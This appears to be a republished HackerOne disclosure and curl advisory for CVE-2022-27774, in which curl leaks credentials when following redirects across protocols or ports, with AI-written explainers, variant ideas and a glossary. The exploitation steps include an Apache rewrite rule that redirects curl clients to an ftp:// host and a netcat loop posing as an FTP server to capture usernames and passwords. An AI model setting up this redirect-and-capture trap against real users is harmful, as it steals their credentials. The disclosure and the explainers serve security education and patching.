Skip to content
Info disclosure Disclosed report Intermediate CVE-2022-27774

CVE-2022-27774: Credential leak on redirect

curl's same-host check for redirects was flawed: it did not treat different ports as separate hosts and did not work across protocols. An attacker could cause curl to send credentials to a different host or over an insecure protocol when following a redirect.

nyymi Follow

Originally disclosed on HackerOne

Bounty$2,400 Medium View original
  • Fixed in 36 hours
  • Paid in 36 hours
  • Disclosed after 47 hours

Summary by the program

Curl Advisory: Credential leak on redirect Project curl Security Advisory, April 27th 2022

VULNERABILITY curl follows HTTP(S) redirects when asked to. curl also supports authentication. When a user and password are provided for a URL with a given hostname, curl makes an effort to not pass on those credentials to other hosts in redirects unless given permission with a special option.

This "same host check" has been flawed all since it was introduced. It does not work on cross protocol redirects and it does not consider different port numbers to be separate hosts. This leads to curl leaking credentials to other servers when it follows redirects from auth protected HTTP(S) URLs to other protocols and port numbers. It could also leak the TLS SRP credentials this way.

By default, curl only allows redirects to HTTP(S) and FTP(S), but can be asked to allow redirects to all protocols curl supports.

We are not aware of any exploit of this flaw.

INFO This flaw was added in curl 4.9 with the introduction of --location and has been present in all libcurl versions ever released. In July 2000 in the curl 7.1.1 release, this commit was the first version that attempted to avoid this, but the check has been bad since then.

The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2022-27774 to this issue.

CWE-522: Insufficiently Protected Credentials Severity: Medium

AFFECTED VERSIONS Affected versions: curl 4.9 to and including 7.82.0 Not affected versions: curl < 4.9 and curl >= 7.83.0 Note that libcurl is used by many applications, but not always advertised as such.

THE SOLUTION There are two separate patches to apply for CVE-2022-27774: the main one and the SRP follow-up.

RECOMMENDATIONS We suggest you take one of the following actions immediately, in order of preference: A - Upgrade curl and libcurl to version 7.83.0 B - Apply the patches to your version and rebuild C - Switch off curl's automatic redirect following

TIME LINE It was first reported to the curl project on April 18 2022. We contacted distros@openwall on April 19. libcurl 7.83.0 was released on April 27 2022, coordinated with the publication of this advisory.

CREDITS Reported by Harry Sintonen. Thanks a lot!

Link to the advisory: https://curl.se/docs/CVE-2022-27774.html

The report

Summary:

curl/libcurl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect to ftp:// URL.

Steps To Reproduce:

  1. Configure for example Apache2 on firstsite.tld to perform redirect with mod_rewrite:
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]
 ```
  1. Capture credentials at secondsite.tld for example with:
    while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done
    
  2. curl -L --user foo https://firstsite.tld/redirectpoc
  3. The entered password is visible in the fake FTP server:
Listening on 0.0.0.0 9999
Connection received on somehost someport
USER foo
PASS secretpassword

There are several issues here:

  1. The credentials are sent to a completely different host than the original host (firstsite.tld vs secondsite.tld). This is definitely not what the user could expect, considering the documentation says:

When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.

  1. The redirect crosses from secure context (HTTPS) to insecure one (FTP). That is the credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.

In addition, TLS SRP user credentials (CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD) are also leaked on redirects.

Impact

Leak of confidential information (user credentials).

The original report as published on HackerOne, by nyymi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

curl is a command-line tool and library (libcurl) that transfers data over many protocols. One of its features is following HTTP(S) redirects when asked to, and another is authentication: when a user and password are provided for a URL with a given hostname, curl makes an effort not to pass those credentials on to other hosts in redirects unless the user gives permission with a special option.

The advisory describes this "same host check" as flawed since it was introduced. It does not work on cross protocol redirects, and it does not consider different port numbers to be separate hosts. As a result, curl can leak credentials to other servers when it follows redirects from auth protected HTTP(S) URLs to other protocols and port numbers. The TLS SRP credentials can leak the same way.

By default, curl only allows redirects to HTTP(S) and FTP(S), but it can be asked to allow redirects to all protocols curl supports. The flaw was assigned CVE-2022-27774, CWE-522 (Insufficiently Protected Credentials), severity Medium. The curl project states it is not aware of any exploit of this flaw.

Setup

The researcher's proof of concept needs three pieces:

  1. A web server on firstsite.tld that issues a redirect. The example uses Apache2 with mod_rewrite.
  2. A listener on secondsite.tld port 9999 that captures whatever credentials arrive. The example uses nc with a canned FTP greeting.
  3. A curl invocation that follows redirects and supplies a username, so that curl prompts for a password.

The affected range is curl 4.9 up to and including 7.82.0. Versions below 4.9 and from 7.83.0 onwards are not affected. The flaw was added in curl 4.9 with the introduction of --location and has been present in all libcurl versions ever released. In July 2000, in the curl 7.1.1 release, a commit was the first version that attempted to avoid this, but the check has been bad since then.

Finding it

The researcher noticed that curl and libcurl can be coaxed into leaking user credentials to a third-party host by issuing an HTTP redirect to an ftp:// URL. Two things make this wrong:

  1. The credentials are sent to a completely different host than the original host (firstsite.tld versus secondsite.tld). This is not what the user could expect, considering the documentation says:

When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.

  1. The redirect crosses from a secure context (HTTPS) to an insecure one (FTP). The credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS.

In addition, TLS SRP user credentials (CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD) are also leaked on redirects.

Exploitation

Step 1: make the first site redirect to FTP

Configure, for example, Apache2 on firstsite.tld to perform a redirect with mod_rewrite:

Text
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]

Step 2: capture credentials at the second site

Capture credentials at secondsite.tld, for example with:

Text
while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done

Step 3: run curl against the first site

Text
curl -L --user foo  https://firstsite.tld/redirectpoc

The request goes to the HTTPS URL on firstsite.tld, which answers with the redirect to the FTP URL on secondsite.tld port 9999.

Step 4: observe the leak

The entered password is visible in the fake FTP server:

Text
Listening on [redacted] 9999
Connection received on somehost someport
USER foo
PASS secretpassword

Root cause

The "same host check" that is supposed to keep credentials bound to the initial host has two gaps. It does not work on cross protocol redirects. And it does not consider different port numbers to be separate hosts. Both gaps let curl carry the credentials into the redirect target. The same flawed check also lets the TLS SRP credentials (CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD) leak on redirects.

Impact

The impact is leak of confidential information: user credentials. The credentials are sent to a different host than the original one, and can cross from HTTPS to FTP. Because the redirect can cross from HTTPS to FTP, the credentials can be sent over an insecure channel even though the user started from an HTTPS URL. The TLS SRP credentials can leak in the same way.

Fix

The solution consists of two separate patches for CVE-2022-27774: the main one and the SRP follow-up. The recommended actions, in order of preference, are:

  1. Upgrade curl and libcurl to version 7.83.0.
  2. Apply the patches to your version and rebuild.
  3. Switch off curl's automatic redirect following.

libcurl 7.83.0 was released on April 27 2022, coordinated with the publication of the advisory. The flaw was first reported to the curl project on April 18 2022, and distros@openwall was contacted on April 19.

Variants to test

  1. Cross protocol redirect: point a redirect from an auth protected HTTPS URL to an ftp:// URL on another host and check whether the FTP dialogue receives USER and PASS. A positive result is the credentials appearing in the listener output.
  2. Same host, different port: redirect to the same hostname on another port and check whether credentials are sent there. A positive result is the credentials arriving on the second port.
  3. Other protocols: the advisory notes curl can be asked to allow redirects to all protocols it supports, so try redirect targets beyond the default HTTP(S) and FTP(S) set. A positive result is credentials arriving at a listener for the target protocol.
  4. TLS SRP credentials: exercise CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD across a redirect and check whether the SRP credentials reach the redirect target.

Hunting notes

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

What happened, in plain words

curl is a small program that runs in a terminal (the text window where you type commands) and downloads things from the internet. It speaks many languages that computers use to talk to each other, called protocols: HTTP and HTTPS for web pages, FTP for file transfers, and others. A library called libcurl is the same engine packaged so that other programs can use it inside themselves.

Two curl features matter here. The first is following redirects. When you open a web address, the server can answer "not here, look over there" and give a new address. Browsers follow that automatically; curl does the same when you ask it to with an option. The second is authentication: you can give curl a username and password so it can log in to a protected page.

curl tries to be careful with those credentials. If a redirect sends it to a different website, it should not hand your password to that other site. The rule that decides whether the new address is still the same site is called the "same host check". This report shows that the check has holes. A redirect to a different protocol or port number can make curl send the username and password to another server.

The problem was given the identifier CVE-2022-27774. A CVE is a public catalogue number for a known security flaw, so people can look it up and track fixes. It was classified as CWE-522, "Insufficiently Protected Credentials", which is a category meaning credentials are not kept as safe as they should be. The severity was Medium. The curl project says it is not aware of any exploit of this flaw.

Context

curl is a command-line tool and a library (libcurl) that transfers data over many protocols. One feature is following HTTP(S) redirects when asked to. Another is authentication: when a user and password are provided for a URL with a given hostname, curl makes an effort not to pass those credentials on to other hosts in redirects unless the user gives permission with a special option.

A hostname is the human-readable name of a server, like firstsite.tld in this report. A port number is like an apartment number inside that server: one machine can run many services, each listening on its own port. A protocol is the set of rules two computers agree on for a conversation, for example HTTPS for encrypted web traffic and FTP for file transfer.

The advisory describes the same host check as flawed since it was introduced. It does not work on cross protocol redirects, meaning a redirect that switches from one protocol to another, and it does not consider different port numbers to be separate hosts. As a result, curl can leak credentials to other servers when it follows redirects from auth protected HTTP(S) URLs to other protocols and port numbers. The TLS SRP credentials can leak the same way. The TLS SRP credentials are held in CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD.

By default, curl only allows redirects to HTTP(S) and FTP(S), but it can be asked to allow redirects to all protocols curl supports. The flaw was assigned CVE-2022-27774, CWE-522 (Insufficiently Protected Credentials), severity Medium. The curl project states it is not aware of any exploit of this flaw.

Setup

The researcher's proof of concept needs three pieces. A proof of concept is a small, safe demonstration that a flaw is real, built so others can repeat it.

  1. A web server on firstsite.tld that issues a redirect. The example uses Apache2 with mod_rewrite. Apache2 is a popular web server program, and mod_rewrite is an add-on that lets the server rewrite or redirect incoming requests according to rules.
  2. A listener on secondsite.tld port 9999 that captures whatever credentials arrive. The example uses nc with a canned FTP greeting. A listener is a program that sits waiting for connections and records what is sent to it. nc (netcat) is a simple tool for exactly that.
  3. A curl invocation that follows redirects and supplies a username, so that curl prompts for a password.

The affected range is curl 4.9 up to and including 7.82.0. Versions below 4.9 and from 7.83.0 onwards are not affected. The flaw was added in curl 4.9 with the introduction of --location and has been present in all libcurl versions ever released. In July 2000, in the curl 7.1.1 release, a commit was the first version that attempted to avoid this, but the check has been bad since then. A commit is a saved change in a code project's history.

Finding it

The researcher noticed that curl and libcurl can be coaxed into leaking user credentials to a third-party host by issuing an HTTP redirect to an ftp:// URL. Two things make this wrong.

  1. The credentials are sent to a completely different host than the original host (firstsite.tld versus secondsite.tld). This is not what the user could expect, considering the documentation says:

When authentication is used, curl only sends its credentials to the initial host. If a redirect takes curl to a different host, it will not be able to intercept the user+password. See also --location-trusted on how to change this.

  1. The redirect crosses from a secure context (HTTPS) to an insecure one (FTP). The credentials are unexpectedly sent over insecure channels even when the URL specified is using HTTPS. HTTPS encrypts the traffic between you and the server; FTP does not, so anyone watching the network can read what passes.

In addition, TLS SRP user credentials (CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD) are also leaked on redirects.

Exploitation

Step 1: make the first site redirect to FTP

Configure, for example, Apache2 on firstsite.tld to perform a redirect with mod_rewrite:

Text
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc ftp://secondsite.tld:9999 [R=301,L]

Step 2: capture credentials at the second site

Capture credentials at secondsite.tld, for example with:

Text
while true; do echo -e "220 pocftp\n331 plz\n530 bye" | nc -v -l -p 9999; done

Step 3: run curl against the first site

Text
curl -L --user foo  https://firstsite.tld/redirectpoc

Step 4: observe the leak

The entered password is visible in the fake FTP server:

Text
Listening on [redacted] 9999
Connection received on somehost someport
USER foo
PASS secretpassword

Root cause

The same host check that is supposed to keep credentials bound to the initial host has two gaps. It does not work on cross protocol redirects. And it does not consider different port numbers to be separate hosts. Both gaps let curl carry the credentials into the redirect target. The same flawed check also lets the TLS SRP credentials (CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD) leak on redirects.

Impact

The impact is leak of confidential information: user credentials. The credentials are sent to a different host than the original one, and can cross from HTTPS to FTP. Because the redirect can cross from HTTPS to FTP, the credentials can be sent over an insecure channel even though the user started from an HTTPS URL. The TLS SRP credentials can leak in the same way.

Fix

The solution consists of two separate patches for CVE-2022-27774: the main one and the SRP follow-up. A patch is a small change to the source code that repairs the flaw. The recommended actions, in order of preference, are:

  1. Upgrade curl and libcurl to version 7.83.0.
  2. Apply the patches to your version and rebuild.
  3. Switch off curl's automatic redirect following.

libcurl 7.83.0 was released on April 27 2022, coordinated with the publication of the advisory. The flaw was first reported to the curl project on April 18 2022, and distros@openwall was contacted on April 19.

Variants to test

  1. Cross protocol redirect: point a redirect from an auth protected HTTPS URL to an ftp:// URL on another host and check whether the FTP dialogue receives USER and PASS. A positive result is the credentials appearing in the listener output.
  2. Same host, different port: redirect to the same hostname on another port and check whether credentials are sent there. A positive result is the credentials arriving on the second port.
  3. Other protocols: the advisory notes curl can be asked to allow redirects to all protocols it supports, so try redirect targets beyond the default HTTP(S) and FTP(S) set. A positive result is credentials arriving at a listener for the target protocol.
  4. TLS SRP credentials: exercise CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD across a redirect and check whether the SRP credentials reach the redirect target.

Hunting notes

Glossary

  • curl: a command-line program that transfers data over many internet protocols.
  • libcurl: the same engine as curl, packaged as a library so other programs can use it.
  • Protocol: an agreed set of rules two computers follow to exchange data, such as HTTP, HTTPS or FTP.
  • HTTP: the protocol browsers and servers use to request and deliver web pages.
  • HTTPS: HTTP with encryption, so traffic cannot be read by someone watching the network.
  • FTP: an older protocol for transferring files, without encryption.
  • Redirect: a server's reply telling the client to go to a different address instead.
  • Authentication: proving who you are, usually with a username and password.
  • Credentials: the username and password (or similar secrets) used to log in.
  • Hostname: the human-readable name of a server, such as firstsite.tld.
  • Host: a server identified by its hostname; in this report, the site you connect to.
  • Port number: a number that identifies which service on a server you are talking to, like an apartment number.
  • Same host check: curl's rule for deciding whether a redirect target is still the same site, so credentials may be sent.
  • Cross protocol redirect: a redirect that switches from one protocol to another, for example HTTPS to FTP.
  • TLS SRP: a login method where the password is never sent over the network; its username and password are held in CURLOPT_TLSAUTH_USERNAME and CURLOPT_TLSAUTH_PASSWORD.
  • CVE: a public catalogue number for a known security flaw, here CVE-2022-27774.
  • CWE-522: a category name for flaws where credentials are insufficiently protected.
  • Severity: a rating of how serious a flaw is; here Medium.
  • Proof of concept: a small, safe demonstration that a flaw is real and repeatable.
  • Apache2: a popular web server program.
  • mod_rewrite: an Apache2 add-on that rewrites or redirects requests according to rules.
  • User-Agent: a label a client sends to say which program and version it is.
  • Listener: a program that waits for incoming connections and records what is sent.
  • nc (netcat): a simple tool for opening connections and listening for them.
  • 301: the standard HTTP status meaning "moved permanently", used for redirects.
  • Patch: a small change to source code that repairs a flaw.
  • Commit: a saved change in a code project's history.
  • Origin: the combination of protocol, hostname and port that identifies a web service.
  • distros@openwall: a private mailing list used to warn Linux distribution maintainers about security issues before public disclosure.
  • Bounty: a reward paid for responsibly reporting a security flaw.
  • Disclosure: making a security report public, here on 2022-04-29.

More by nyymi

View all

51 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.